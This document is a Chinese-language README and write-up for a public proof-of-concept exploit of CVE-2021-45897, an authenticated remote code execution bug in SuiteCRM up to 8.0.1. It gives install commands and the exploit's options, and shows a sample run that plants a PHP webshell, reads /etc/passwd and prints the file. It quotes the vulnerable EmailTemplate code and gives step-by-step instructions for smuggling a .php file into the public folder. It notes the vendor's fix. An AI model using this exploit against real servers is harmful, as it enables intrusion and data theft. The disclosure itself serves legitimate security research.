
经过身份验证的 SuiteCRM <= 8.0.1 RCE 漏洞利用,通过邮件模板图片上传植入 PHP 网页后门,实现远程命令执行。
CVE-2021-45897(又名 SCRMBT-#180)的 PoC —— SuiteCRM <= 8.0.1 中通过邮件模板实现 RCE(仅限已认证用户)
此漏洞已报告给 SalesAgility,并在 SuiteCRM 7.12.3 和 SuiteCRM Core 8.0.2 中修复。如果您使用的是旧版本的 SuiteCRM,强烈建议您进行更新。
安装
python3 和 pip。git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"可用选项:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
使用示例:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
我最近在基于 PHP 的 SuiteCRM 软件 中发现了一个有趣的 RCE 攻击向量。该漏洞允许拥有 EmailTemplates 模块访问权限的已认证攻击者上传恶意 PHP 文件,从而获得远程代码执行能力。
在我看来,SuiteCRM 整体的文件上传处理看起来相当安全。尽管存在大量自定义代码,但开发人员密切关注要么移除所有文件扩展名(大多数文件类型都会如此处理),要么验证扩展名并在文件为图片时对其内容进行清理。甚至还有一个插件接口可以加载第三方防病毒扫描器并让其处理所有上传内容。
然而,我偶然发现了隐藏在 public/legacy/modules/EmailTemplates/EmailTemplate.php 中的一个有趣的小功能:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM 允许用户创建邮件模板。模板还可以包含附件,这些附件存储在一个单独的模块(Notes 模块)中。用户可以将任意文件附加到邮件模板中。文件内容不会以任何方式进行清理。但是,文件在存储时没有扩展名,因此即使包含潜在的恶意 PHP 代码,也不会被 Web 服务器执行。已认证用户还可以使用以下格式的链接下载这些附件:/index.php?entryPoint=download&type=Notes&id=<note-id>。
每当保存或访问邮件模板时,都会触发 repairEntryPointImages 函数。如果我们查看代码,可以看到它会解析邮件模板的标记(body_html)并查找带有特殊 src 属性的 HTML img 标签。该正则表达式基本上匹配内部附件下载链接的格式。然而,这些链接仅对已在 SuiteCRM 中认证的用户有效,而邮件收件人很可能没有认证。因此,SuiteCRM 会自动在 Web 服务器的 public 文件夹中创建附件的副本,并将内部下载链接替换为公共版本。为了确保邮件客户端正确显示图片,它还会添加文件扩展名。但是,public 文件夹中目标文件的扩展名直接取自图片 src 的 filename 查询参数,且未经过验证(请注意,filename 不会触发任何其他逻辑,可以自由选择)。
现在我们已经掌握了所有要素,可以构造一个利用程序,将 PHP Web Shell 上传到 public 文件夹:
Notes 模块中创建新的邮件附件/记录。记下该 Note 的 id。/index.php?entryPoint=download&type=Notes&id=<note_id> 验证您可以下载该 PHP 文件。repairEntryPointImages 中正则表达式但使用 .php 作为 filename 查询参数的图片标签(例如 /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />)。repairEntryPointImages 函数,并将我们的 Web Shell 以 .php 扩展名复制到 public 文件夹。http://<<host>>/public/<<note_id>>.php 尽情使用您的 Shell 吧。在我报告后不久,新的 SuiteCRM 版本(7.12.3 和 8.0.2)发布,其中包含以下修复:

这确保了 repairEntryPointImages 中仅使用有效的图片文件扩展名,并防止创建具有非白名单扩展名(如 .php)的文件。